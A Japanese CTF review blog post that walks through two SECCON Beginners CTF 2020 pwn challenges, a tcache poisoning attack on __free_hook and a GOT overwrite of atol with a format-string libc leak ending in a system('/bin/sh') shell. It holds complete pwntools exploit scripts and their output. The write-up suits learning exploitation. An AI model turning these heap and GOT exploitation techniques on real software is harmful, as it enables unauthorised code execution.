2020/5/23 ~ 5/24 で開催された、SECCON Beginners CTF 2020 の Pwn 分野の復習メモです。
競技時間中に解いた問題のwrite-upはこちら。
他分野の復習記事はこちら
本当は全部見ておきたかったけど、サーバー稼働期間も終わってしまうし、ちゃんと基礎からやらんとな、という気持ちになったので2問だけ。
[Pwn] Beginner's Heap [Easy]
Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
配布物はなし!ソースがないheapがeasyだなんて…。
とにかくつないでみます。
$ nc bh.quals.beginners.seccon.jp 9002 Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7fd28756f8e8 <win>: 0x55838f653465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint >
4. Describe heap
と5. Describe tcache
で状態が見れる上に、6. Currently available hint
でいつでもヒントがもらえちゃう…。凄い問題だ…!
とはいえ、中に書くものは自分で用意しないといけない。ちょっと触ってみたものの、時間がかかりそうだと後回しにした結果、競技終了。
復習
Heap問は割と最近やったところだし、tcache絡みの問題もやっていたので、自力でしばらくがんばります。自力と行っても親切なヒントが出ているんだけども。
初期状態のheapとtcacheはこんな感じ。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x56066a6d5330 [+] B = (nil) +--------------------+ 0x000056066a6d5320 | 0x0000000000000000 | +--------------------+ 0x000056066a6d5328 | 0x0000000000000021 | +--------------------+ 0x000056066a6d5330 | 0x0000000000000000 | <-- A +--------------------+ 0x000056066a6d5338 | 0x0000000000000000 | +--------------------+ 0x000056066a6d5340 | 0x0000000000000000 | +--------------------+ 0x000056066a6d5348 | 0x0000000000020cc1 | +--------------------+ 0x000056066a6d5350 | 0x0000000000000000 | +--------------------+ 0x000056066a6d5358 | 0x0000000000000000 | +--------------------+ 0x000056066a6d5360 | 0x0000000000000000 | +--------------------+ 0x000056066a6d5368 | 0x0000000000000000 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=
hint: Tcache manages freed chunks in linked lists by size.
Every list can keep up to 7 chunks.
A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.
Let's check what happens when you overwrite fd by Heap Overflow.
picoCTF 2019 の Ghost_Diary 問題でやったことが全部出てきている気がする。ここにまとめといたやつだ。
Aはアドレスが固定で値のみ書き換えられます。ただし、Aはもともと問題文とheapの状態からサイズは0x18
ですが、1
の機能で0x80
まで書き換えできるようです…!これはきっとHeapOverflow。Bはサイズが固定(0x18)で好きな値を入れてalloc,freeできる、という条件。
最初のヒントより、HeapOverflowをしてfd
ポインタを上書きし、何が起こるか見てみます。
以下、コードは下記のコードをベースに継ぎ足して書いています。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = "bh.quals.beginners.seccon.jp" port = 9002 def writeA(data): log.info('write A') r.sendline(b'1') r.sendline(data) r.recvuntil(b'> ') def allocB(data): log.info('alloc B') r.sendline(b'2') r.sendline(data) r.recvuntil(b'> ') def freeB(): log.info('free B') r.sendline(b'3') r.recvuntil(b'> ') def describe_heap(): log.info('descrive heap') r.sendline(b'4') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode()) r.recvuntil(b'> ') def describe_tcache(): log.info('descrive tcache') r.sendline(b'5') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode()) r.recvuntil(b'> ') def hint(): log.info('hint') r.sendline(b'6') print(r.recvuntil(b'\n\n').decode()) r.recvuntil(b'> ') ### main ### r = remote(host, port) r.recvuntil(b'<__free_hook>: ') free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recvuntil(b'<win>: ') win_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recv() print(free_hook_addr) print(win_addr)
まず、B
にB(=0x42) * 0x10
を詰めてallc。
data = b'B' * 0x10 B = allocB(data) describe_heap()
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x5561868fd330 [+] B = 0x5561868fd350 +--------------------+ 0x00005561868fd320 | 0x0000000000000000 | +--------------------+ 0x00005561868fd328 | 0x0000000000000021 | +--------------------+ 0x00005561868fd330 | 0x0000000000000000 | <-- A +--------------------+ 0x00005561868fd338 | 0x0000000000000000 | +--------------------+ 0x00005561868fd340 | 0x0000000000000000 | +--------------------+ 0x00005561868fd348 | 0x0000000000000021 | +--------------------+ 0x00005561868fd350 | 0x4242424242424242 | <-- B +--------------------+ 0x00005561868fd358 | 0x4242424242424242 | +--------------------+ 0x00005561868fd360 | 0x000000000000000a | +--------------------+ 0x00005561868fd368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
このあと、Bをfreeします。
freeB() describe_heap() describe_tcache()
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x5561868fd330 [+] B = (nil) +--------------------+ 0x00005561868fd320 | 0x0000000000000000 | +--------------------+ 0x00005561868fd328 | 0x0000000000000021 | +--------------------+ 0x00005561868fd330 | 0x0000000000000000 | <-- A +--------------------+ 0x00005561868fd338 | 0x0000000000000000 | +--------------------+ 0x00005561868fd340 | 0x0000000000000000 | +--------------------+ 0x00005561868fd348 | 0x0000000000000021 | +--------------------+ 0x00005561868fd350 | 0x0000000000000000 | +--------------------+ 0x00005561868fd358 | 0x4242424242424242 | +--------------------+ 0x00005561868fd360 | 0x000000000000000a | +--------------------+ 0x00005561868fd368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [*] descrive tcache -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x00005561868fd350(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bのいたアドレスがtcacheに追加され、heap内のBの先頭だったところが0
になります。これはtcacheの先頭に積まれたため、fb
が初期値だから。
次に、AにA(=0x41) * 0x78
を詰めて書き込んでみます。
data = b'A' * 0x78 writeA(data)
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x5561868fd330 [+] B = (nil) +--------------------+ 0x00005561868fd320 | 0x0000000000000000 | +--------------------+ 0x00005561868fd328 | 0x0000000000000021 | +--------------------+ 0x00005561868fd330 | 0x4141414141414141 | <-- A +--------------------+ 0x00005561868fd338 | 0x4141414141414141 | +--------------------+ 0x00005561868fd340 | 0x4141414141414141 | +--------------------+ 0x00005561868fd348 | 0x4141414141414141 | +--------------------+ 0x00005561868fd350 | 0x4141414141414141 | +--------------------+ 0x00005561868fd358 | 0x4141414141414141 | +--------------------+ 0x00005561868fd360 | 0x4141414141414141 | +--------------------+ 0x00005561868fd368 | 0x4141414141414141 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [*] descrive tcache -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x00005561868fd350(rw-) ] || \/ [ 0x4141414141414141(---) ] || \/ [ BROKEN LINK ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=
見ての通り、さっきfreeしたのBの領域までA
で埋め尽くされました。更に、tcacheにあった元Bのアドレスのfw
にあたる領域を0x41
で埋めたため、tcacheに0x4141414141414141
のアドレスがつまれました🙌
ここで再度hintを見てみると、文言が変わっています。
Good. The tcache link is corrupted!
Currently it's linked to 0x4141414141414141 but what if it's __free_hook...?
ということで、最初にもらった__free_hook
のアドレスでfw
を書き換えるよう、Aの中身を変更してみます。
data = b'A' * 0x8 * 4 + p64(free_hook_addr) writeA(data)
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x55d43618d330 [+] B = (nil) +--------------------+ 0x000055d43618d320 | 0x0000000000000000 | +--------------------+ 0x000055d43618d328 | 0x0000000000000021 | +--------------------+ 0x000055d43618d330 | 0x4141414141414141 | <-- A +--------------------+ 0x000055d43618d338 | 0x4141414141414141 | +--------------------+ 0x000055d43618d340 | 0x4141414141414141 | +--------------------+ 0x000055d43618d348 | 0x4141414141414141 | +--------------------+ 0x000055d43618d350 | 0x00007f13544b08e8 | +--------------------+ 0x000055d43618d358 | 0x424242424242420a | +--------------------+ 0x000055d43618d360 | 0x000000000000000a | +--------------------+ 0x000055d43618d368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [*] descrive tcache -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x000055d43618d350(rw-) ] || \/ [ 0x00007f13544b08e8(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=
やった!狙ったとおりになりました。またhintが変わっています。
It seems __free_hook is successfully linked to tcache!
But the chunk size is broken or too big maybe...?
そのとおり。サイズはノータッチでした。もとのBとおなじになるように、またAの中身を変えてみます。
data = b'A' * 0x8 * 3 + p64(0x21) + p64(free_hook_addr) writeA(data)
heapはこう変わります。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x55bd4f0c6330 [+] B = (nil) +--------------------+ 0x000055bd4f0c6320 | 0x0000000000000000 | +--------------------+ 0x000055bd4f0c6328 | 0x0000000000000021 | +--------------------+ 0x000055bd4f0c6330 | 0x4141414141414141 | <-- A +--------------------+ 0x000055bd4f0c6338 | 0x4141414141414141 | +--------------------+ 0x000055bd4f0c6340 | 0x4141414141414141 | +--------------------+ 0x000055bd4f0c6348 | 0x0000000000000021 | +--------------------+ 0x000055bd4f0c6350 | 0x00007f3ef72fa8e8 | +--------------------+ 0x000055bd4f0c6358 | 0x424242424242420a | +--------------------+ 0x000055bd4f0c6360 | 0x000000000000000a | +--------------------+ 0x000055bd4f0c6368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
hintもまた変わりました。
It seems __free_hook is successfully linked to tcache!
But you can't get __free_hook since you can only malloc/free B.
What if you change the chunk size to a value other than 0x21...?
__free_hook
は、次にmallocかfreeが呼ばれたときにしか発動しません。そこで、サイズを先程は元のBと同じ0x21
に指定しましたが、違うサイズにしてみることを提案されています。
tcacheのサイズに当てはまる、少し大きめのサイズ0x40
を設定してみました。
data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr) writeA(data)
hintはこうなりました
It seems __free_hook is successfully linked to tcache!
And the chunk size is properly forged!
chunk sizeを大きめに書き換えたことで、freedな領域のサイズがマージされています。
現在tcacheの中身は、B -> __free_hook
になっています。__free_hook
を先頭に持ってくるために、もう一度Bをmallock,freeしてみます。
data = b'B' * 0x10 B = allocB(data) freeB()
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x5584fa140330 [+] B = (nil) +--------------------+ 0x00005584fa140320 | 0x0000000000000000 | +--------------------+ 0x00005584fa140328 | 0x0000000000000021 | +--------------------+ 0x00005584fa140330 | 0x4141414141414141 | <-- A +--------------------+ 0x00005584fa140338 | 0x4141414141414141 | +--------------------+ 0x00005584fa140340 | 0x4141414141414141 | +--------------------+ 0x00005584fa140348 | 0x0000000000000040 | +--------------------+ 0x00005584fa140350 | 0x0000000000000000 | +--------------------+ 0x00005584fa140358 | 0x4242424242424242 | +--------------------+ 0x00005584fa140360 | 0x000000000000000a | +--------------------+ 0x00005584fa140368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [*] descrive tcache -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x00007ff2bf0158e8(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=
hintはこうなりました
It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
Also B is empty! You know what to do, right?
Yeah! もう一度mallocすると__free_hook
の領域が取れます。ここで、free_hook
の第一引数にwin関数をセットすると、次にfree
が呼び出されたときにこれが発動、win関数がコールされるはず!
data = p64(win_addr) B = allocB(data)
合っているか心配なのでここでもhintも見ておきます。
It seems you did everything right!
free
is now equivalent towin
(๑•̀ㅂ•́)و✧
あとはfree
を呼ぶだけ!
log.info('free B') r.sendline(b'3') print(r.recv()) print(r.recv())
実行結果
b'Congratulations!' b'\nctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}\n'
\(ˊᗜˋ)/
これは!競技中に!ちゃんと時間をとってやるべきだった!!!!!!
最後に全体スクリプトを載せるだけ載せておこう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = "bh.quals.beginners.seccon.jp" port = 9002 def writeA(data): log.info('write A') r.sendline(b'1') r.sendline(data) r.recvuntil(b'> ') def allocB(data): log.info('alloc B') r.sendline(b'2') r.sendline(data) r.recvuntil(b'> ') def freeB(): log.info('free B') r.sendline(b'3') r.recvuntil(b'> ') def describe_heap(): log.info('descrive heap') r.sendline(b'4') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode()) r.recvuntil(b'> ') def describe_tcache(): log.info('descrive tcache') r.sendline(b'5') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode()) r.recvuntil(b'> ') def hint(): log.info('hint') r.sendline(b'6') print(r.recvuntil(b'\n\n').decode()) r.recvuntil(b'> ') ### main ### r = remote(host, port) r.recvuntil(b'<__free_hook>: ') free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recvuntil(b'<win>: ') win_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recv() # tcacheにBの領域を積む data = b'B' * 0x10 B = allocB(data) freeB() # Heap Overflow で freeされたBを上書き data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr) writeA(data) # tcache 消費 data = b'B' * 0x10 B = allocB(data) freeB() # __free_hookにwin関数を仕込む data = p64(win_addr) B = allocB(data) # free! log.info('free B') r.sendline(b'3') print(r.recv()) print(r.recv())
[Pwn] Elementary Stack [Easy]
Do you really understand stack?
nc es.quals.beginners.seccon.jp 9003
このさきのPwn問題は、競技期間中開いてすらなかった!
復習
実行ファイルchall
、libc-2.27.so
、main.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define X_NUMBER 8 __attribute__((constructor)) void setup(void) { setbuf(stdout, NULL); alarm(30); } __attribute__((noreturn)) void fatal(const char *msg) { printf("[FATAL] %s\n", msg); exit(0); } long readlong(const char *msg, char *buf, int size) { printf("%s", msg); if (read(0, buf, size) <= 0) fatal("I/O error"); buf[size - 1] = 0; return atol(buf); } int main(void) { int i; long v; char *buffer; unsigned long x[X_NUMBER]; if ((buffer = malloc(0x20)) == NULL) fatal("Memory error"); while(1) { i = (int)readlong("index: ", buffer, 0x20); v = readlong("value: ", buffer, 0x20); printf("x[%d] = %ld\n", i, v); x[i] = v; } return 0; }
最初に0x20
サイズの領域をbuffer
に確保し、配列 x[]
の配列にユーザー入力の値を表示・格納していくシンプルなプログラム。配列x
は、最初にx[8]
とサイズが決まっています。flagについての記載はないので、shellを取ってflag.txt
的なものを表示させる系に違いない。
ちなみに、constructorで30秒アラートを設定されているので、30秒以内に実行する必要があります。
今回はhintなしなので、自分で方針を考えなければいけない。ソースを読んで & 実行ファイルを動かしてみて、気になった点をメモ。
x[index]
のindexには8を超える値や負の値も入れられる- main関数のreturnは、
while(1)
を抜ける条件がないので呼ばれない(returnアドレスを書き換えても無駄) readlong
関数のreturnatol(buf)
は、atol
をsystem
に書き換えられるとsystem(buf)
みたいにsystemを任意の引数で呼び出せそう
配布されたchall
は No PIE なので各関数のアドレスはわかるのだけど、サーバーで稼働中のlibcのsystem
のアドレスがわからない。
ここまで考えたけど、攻撃が繋がらなかった。おとなしくwriteupを見ます。今回は下記の4つが見つかりました。ありがとうございます🙏
- SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ
- 作問者解説
- SECCON Beginners CTF 2020 Elementary stackを理解する | terassyi
- 後から復習した記事とのこと
- SECCON Beginners CTF 2020 write-up - Qiita
- SECCON Beginners CTF 2020 Writeup - 過密です
これらを読むと、
- 1つ目の条件より、範囲外書き込みによって
atol
をsystem
に書き換えて呼び出す方法が考えられる system
のアドレスがわからない。これは、atoi
(atol
)をprintf
に向けてFormat String Bugを引き起こす
という作戦が想定解のようです。
2つめの方法は初めて見たので調べてみました。libcアドレスをリークする時に使える手法で、atoi
やatol
などのGOTをprintf
,scanf
などに書き換えることで stack based FSB を発動させ、書き換え先の関数の libc address をリークするようです。
過去にもこれを使って説いたっぽいCTFのwriteupが出てきました。古いものだと2016年!
- BCTF 2016 writeup - しゃろの日記
- 【pwn 4.11】babyheap - HITCON CTF 2016 - newbieからバイナリアンへ
- BCTF 2016 Writeup - つれづれなる備忘録
※ここからは、全くわからないなりに理解していった手順を書いていきます。かなり回りくどいです。
まず、*buffer
の示す先をatol@got
に書き換えてみます。
radare2でlocal変数の配置を確認すると、
# r2 ./chall [0x004005f0]> aaaa (略) [0x004005f0]> s main [0x0040079e]> pdf / (fcn) main 138 | main (int argc, char **argv, char **envp); | ; var int local_54h @ rbp-0x54 | ; var int local_50h @ rbp-0x50 | ; var int local_48h @ rbp-0x48 | ; arg int arg_40h @ rbp+0x40 (略)
続きのコードを見る限り、
rbp-0x54: i rbp-0x50: *buffer rbp-0x48: v rbp+0x40: x[]
になっているようです。このため、x[-2]
に書き込むと、bufferの向き先を書き換えることができます。ここで向き先をGOT領域にすると、次回からのユーザー入力時にreadlong
関数内で read(0, GOT領域, 0x20)
となり、GOT領域を上書きできます。
code1
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'es.quals.beginners.seccon.jp' port = 9003 e = ELF('./chall') libc = ELF('./libc-2.27.so') r = remote(host, port) # *buffer の示す先を atol に書き換え: x[-2] = atol@got r.recvuntil(b'index: ') r.sendline(b'-2') r.recvuntil(b'value: ') r.sendline(str(e.got[b'atol']).encode())
ちなみに、main
関数のx[i] = v;
の時に書き換えが生じます。この時はまだreadlong
関数内のreturn atol(buf)
はそのままatol
として実行されるため、アドレスもatol
の入力値の型に合わせてstr
で送ります。
更に、atol@got
の先をprintf@plt
に書き換えます。
具体的には、index入力時のreadlong()
関数内、read(0, buf, size)
で、atol@got
を指しているbuf
にユーザー入力でprintf@plt
の値を入れてあげます。
code2
(上のcode1の続き) # atol@got を printf@plt に書き換え r.recvuntil(b'index: ') r.sendline(p64(e.plt[b'printf'])) res = r.recvuntil(b'value: ') print(res)
実行してみると、
b'\x90\x05@value: '
と表示されました。
value:
だけが表示されるのが通常状態なので、何かが追加で出力されました。これは、atol@got
の向き先が意図通りprintf@plt
に書き換わったため、readlong
関数の最後、return atol(buf);
のときに、printf(buf)
が実行されたためです。
このときbuf
はprintf@plt
が入っているので、それがそのまま出てきました。
さて、次に FSB を発動させます。先程printf(buf)
が用意できたので、出来るはず!
ひとまずFSBの詳細は後回し。b'%25$p'
を送ると良いらしいのでそれで試していますが、b'%10$p'
でも何でもOK。
code3
(code2の続き) # FSB発動 r.sendline(b'%25$p') res = r.recvuntil(b'index: ') print(res)
これを実行すると、raise EOFError
で落ちました。何が起きたのでしょう。
このとき、またreadlong
関数のread(0, buf, size)
で、atol@got
を指しているbuf
にb'%25$p'
を入れてしまっています…。これではatol
のかわりにprintf
が呼ばれなくなってしまいます。
試しに、
code4
(code2の続き) # お試しにもう一度printfしてみる r.sendline(p64(e.plt[b'printf'])) res = r.recvuntil(b'index: ') print(res)
としてみると、
b'\x90\x05@x[3] = 3\nindex: '
と表示されました。先ほどと同じ出力です。しかしこのままでは、atol@got
をprintf@plt
に向き変えたときしかprintf
が発動しないので、printf
は一生自分のアドレスを表示することしかできません…。
そこで、GOT領域のatol
を書き換えるのではなく、0x8
前のアドレスを書き換えることで、atol@got
はprintf@plt
に向けつつ、buf
を自由な値が入力できるようにするらしい。ほぉほぉほぉ!
ちなみに、下記の様にしてGOT領域の関数とアドレスを一覧することができます。(もっといい方法もあるかも)
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * e = ELF('./chall') for name,address in e.got.items(): print(name.decode() + ': ' + hex(address))
実行結果
$ python test.py setbuf: 0x601018 printf: 0x601020 alarm: 0x601028 read: 0x601030 malloc: 0x601038 atol: 0x601040 exit: 0x601048
ということで、atol@got
の一つ前(-0x8)は、malloc@got
であることがわかります。この攻撃を成功させるためには、malloc
が攻撃ループ中に呼ばれないことが条件になりますが(書き潰してしまうので)、今回はmallocは最初に呼ばれているだけなので条件を満たしています🙌
やりたいのはこんな感じ。
GOT area +--------+ | ... | +--------+ *buffer -> | malloc | -> user input で上書きされる buf +--------+ | atol | -> printf@plt +--------+ | ... | +--------+
この状態でatol
が呼ばれると、printf(buf)
(bufの中身はmalloc@gotに格納される)が実現できそう。
ということで、最初からやり直し。
code5
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'es.quals.beginners.seccon.jp' port = 9003 e = ELF('./chall') libc = ELF('./libc-2.27.so') r = remote(host, port) # *buffer の示す先を atol@got-0x8 = malloc@got に書き換え r.recvuntil(b'index: ') r.sendline(b'-2') r.recvuntil(b'value: ') r.sendline(str(e.got[b'malloc']).encode()) # atol@got を printf@plt に書き換え r.recvuntil(b'index: ') r.sendline(b'a'*8 + p64(e.plt[b'printf'])) # malloc -> 'aaaaaaaa', atol -> printf res = r.recvuntil(b'value: ') print(res) # FSB発動 r.sendline(b'%25$p') res = r.recvuntil(b'index: ') print(res)
実行結果
b'aaaaaaaa\x90\x05@value: ' b'0x7fd1a3949b97\naa\x90\x05@x[11] = 20\nindex: '
やったー!アドレスっぽいものが取れています!
さて、ここでちょっと遡って、Format String Attack の index が 25 というのはどうやって導くのか考えます。
FSBの基本は今回の出題者でもあるptr-yudaiさんのブログ記事がとてもわかり易い。
Format String Exploitを試してみる - CTFするぞ
のですが、ここや他の方のwriteupを見たり、他のCTFのwriteupやgdb,gdb-pedaの使い方を見てみたのですが、この先の解法がいまいちわからず。
どうやら、gdb(gdb-peda)なんかを用いて、プログラム実行中のstackの状態を見てみると、b97
が末尾に現れるところがあるので、このアドレスを確認してみると、<__libc_start_main+231>
であることがわかるらしい。
このb97
というのがどこから来たのか、そしてgdbの使い方がまだよくわかってないのか、プログラム実行中、printf関数実行中などにbreakpoint仕込んでもこのb97
で終わるメモリが見つからない。ここらへんは、ちゃんと基礎からやらないとわからないかなぁ…。atol@gotをprintf@pltに書き換えた後に見ないといけないのかな。
gdb起動して、run中のinputにpackした値を入れたいんだけど、そのやり方がわからなかった。(今回でいうとb'a'*8 + p64(e.plt[b'printf'])
)。これができたら、gdb上でatol->printfの書き換え、printfの実行の状態に持っていけるので、そこでメモリを見たらこいつがいたのかしら…。
なにはともあれ、b97
がわかったとして、今度はindex 25がどうやって導かれるのか。
これは、上記で困っていた「gdb上でprintfへの書き換え」ができていれば、その時のstackの状態を見れば良さそう。もしくは、先程のb97
がわかっている、かつ libcアドレスはローテートされても下桁は変わらないので、これが出てくるまで %n$p
のn
をインクリメントしながら探していけば見つかる。
大きな疑問が残ったままですが、このb97
がわかったとして、libc_baseを求めるのは、上記で探し当てたb97
が末尾に出てくるサーバー側のlibcアドレスから、__libc_start_main + 231
を引いたものになります。
ここまでくれば、後はatolをprintfに書き換えたときと同様、今度はatolをsystemに向けてあげればshellが取れる。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'es.quals.beginners.seccon.jp' port = 9003 e = ELF('./chall') libc = ELF('./libc-2.27.so') r = remote(host, port) #r = process('./chall') # *buffer の示す先を atol@got-0x8 = malloc@got に書き換え r.recvuntil(b'index: ') r.sendline(b'-2') r.recvuntil(b'value: ') r.sendline(str(e.got[b'malloc']).encode()) # atol@got を printf@plt に書き換え r.recvuntil(b'index: ') r.sendline(b'a'*8 + p64(e.plt[b'printf'])) res = r.recvuntil(b'value: ') print(res) # FSB発動 r.sendline(b'%25$p') res = r.recvuntil(b'index: ') print(res) # libc_base計算 libc_addr = int(res[:14],16) libc_base = libc_addr - (libc.symbols[b'__libc_start_main'] + 231) print('libc_base: ' + hex(libc_base)) # atol を system で上書き r.sendline(b'/bin/sh\0' + p64(libc_base + libc.symbols[b'system'])) r.interactive()
実行結果
$ python solve.py [*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to es.quals.beginners.seccon.jp on port 9003: Done b'aaaaaaaa\x90\x05@value: ' b'0x7f906b2fdb97\naa\x90\x05@x[11] = 20\nindex: ' libc_base: 0x7f906b2dc000 [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}
ちなみに、もう一つの過密さんのwriteupでは、途中まで一緒でしたがatol
->printf
に書き換えの際についでにprintfの引数に%25$p
を付けて1ターン省略していました。
(略) # atol@got を printf@plt に書き換え, FSB発動 r.recvuntil(b'index: ') r.sendline(b'%25$p,xx' + p64(e.plt[b'printf'])) res = r.recvuntil(b'value: ') (略)
こちらの攻撃コードでも、同様にflagが取れました。
b97
の謎が残ってて気持ち悪いけど、時間を溶かしすぎたのでひとまず区切り。ちゃんとpwnに入門せねば。